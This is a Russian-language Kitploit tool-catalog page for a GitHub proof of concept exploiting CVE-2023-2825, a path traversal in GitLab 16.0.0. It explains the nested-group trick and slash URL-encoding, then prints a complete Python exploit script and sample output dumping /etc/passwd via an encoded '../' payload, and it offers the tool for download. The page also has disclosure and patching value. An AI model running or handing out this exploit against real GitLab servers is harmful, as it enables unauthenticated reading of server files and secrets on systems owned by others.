Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-2825-Gitlab — доказательство концепции, написанное на Python, показывает, что неаутентифицированный злоумышленник может использовать уязвимость обхода пути для чтения произвольных файлов на сервере, если существует вложение в публичном проекте, вложенном как минимум в пять групп. Это проблема критической степени серьезности | Kitploit
Инструменты/GitHubGitHub/tornad0007/cve-2023-2825-gitlab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubtornad0007/cve-2023-2825-gitlab

CVE-2023-2825-Gitlab

Репозиторий
13 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

доказательство концепции, написанное на Python, показывает, что неаутентифицированный злоумышленник может использовать уязвимость обхода пути для чтения произвольных файлов на сервере, если существует вложение в публичном проекте, вложенном как минимум в пять групп. Это проблема критической степени серьезности

Поделиться

CVE-2023-2825

23 мая 2023 года GitLab выпустил версию 16.0.1, которая исправляет критическую уязвимость CVE-2023-2825, затрагивающую Community Edition (CE) и Enterprise Edition (EE) версии 16.0.0. Уязвимость позволяет неаутентифицированным пользователям читать произвольные файлы через ошибку обхода пути. Она была обнаружена пользователем pwnie на HackerOne в рамках программы вознаграждений за найденные уязвимости.

На момент написания не было доступно публичного proof of concept.

Рекомендация GitLab

Неаутентифицированный злоумышленник может использовать уязвимость обхода пути для чтения произвольных файлов на сервере, если вложение существует в публичном проекте, вложенном как минимум в пять групп. Это критическая проблема (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).

Подгруппы

Эта уязвимость имеет интересное требование: проект должен быть вложен как минимум в 5 групп. В ходе тестирования мы обнаружили прямую зависимость между количеством групп и количеством каталогов, которые можно обойти. Правило, по-видимому, N + 1, то есть если нужно обойти 10 каталогов, необходимо иметь 11 групп.

В стандартной установке GitLab вложения файлов загружаются в /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Поэтому, чтобы добраться до корня файловой системы, нужно вернуться на 10 каталогов назад, а значит, нужно 11 групп.

Загрузка файла и обход пути

При загрузке файла в качестве вложения в задачу GitLab отправляется запрос . В ответ возвращается JSON с URL файла, позволяющий получить доступ к файлу.

POST - /:repo/upload

URL файла состоит из /:repo/uploads/:id/:file, где :file — это имя файла. Замена :file на любой путь к файлу приведет к тому, что GitLab вернет запрошенный файл. GitLab не очищает этот путь, что приводит к обходу пути.

Чтобы успешно эксплуатировать эту уязвимость, необходимо URL-кодировать / в пути к файлу. GitLab прочитает это как значение и декодирует его внутренне. Если не кодировать его, GitLab воспримет / в пути как часть маршрута.

В нашем тестировании кодирование только / было достаточным для обхода ошибок пути Nginx.

Аутентификация

Неаутентифицированные пользователи могут эксплуатировать эту уязвимость только на публичных репозиториях, соответствующих требованиям вложенных групп. Для доступа к самому репозиторию требуется аутентификация.

Proof of Concept

Вот proof of concept, написанный на Python. Он создает 11 групп, создает публичный репозиторий, загружает файл, а затем эксплуатирует уязвимость для получения файла /etc/passwd.

Вывод

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

Код

root@kitploit:~
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup


ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"

# Session for cookies
session = requests.Session()

# CSRF token
csrf_token = ""

# Ignore invalid SSL
requests.urllib3.disable_warnings()


def request(method, path, data=None, files=None, headers=None):
    global csrf_token

    if method == "POST" and isinstance(data, dict):
        data["authenticity_token"] = csrf_token

    response = session.request(
        method,
        f"{ENDPOINT}{path}",
        data=data,
        files=files,
        headers=headers,
        verify=False,
    )
    if response.status_code != 200:
        print(response.text)
        print(f"[*] Request failed: {method} - {path} => {response.status_code}")
        exit(1)

    if response.headers["content-type"].startswith("text/html"):
        csrf_token = BeautifulSoup(response.text, "html.parser").find(
            "meta", {"name": "csrf-token"}
        )["content"]

    return response


# Get initial CSRF token
request("GET", "")

# Login
print("[*] Attempting to login...")
request(
    "POST",
    "/users/sign_in",
    data={"user[login]": USERNAME, "user[password]": PASSWORD},
)

print(f"[*] Login successful as user '{USERNAME}'")


# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")

parent_id = ""
for i in range(1, 12):
    # Create group
    name = f"{group_prefix}-{i}"
    create_resp = request(
        "POST",
        "/groups",
        data={
            "group[parent_id]": parent_id,
            "group[name]": name,
            "group[path]": name,
            "group[visibility_level]": 20,
            "user[role]": "software_developer",
            "group[jobs_to_be_done]": "",
        },
    )

    # Get group id
    parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
        "button", {"title": "Copy group ID"}
    )["data-clipboard-text"]

    print(f"[*] Created group '{name}'")

# Create project
project_resp = request(
    "POST",
    "/projects",
    data={
        "project[ci_cd_only]": "false",
        "project[name]": "CVE-2023-2825",
        "project[selected_namespace_id]": parent_id,
        "project[namespace_id]": parent_id,
        "project[path]": "CVE-2023-2825",
        "project[visibility_level]": 20,
        "project[initialize_with_readme": 1,
    },
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")

# Upload file
file_resp = request(
    "POST",
    f"/{repo_path}/uploads",
    files={"file": "hello world"},
    headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")

# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")

Рекомендуемые действия

GitLab рекомендует как можно скорее обновить все затронутые версии.

Ссылки

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

Скачать инструмент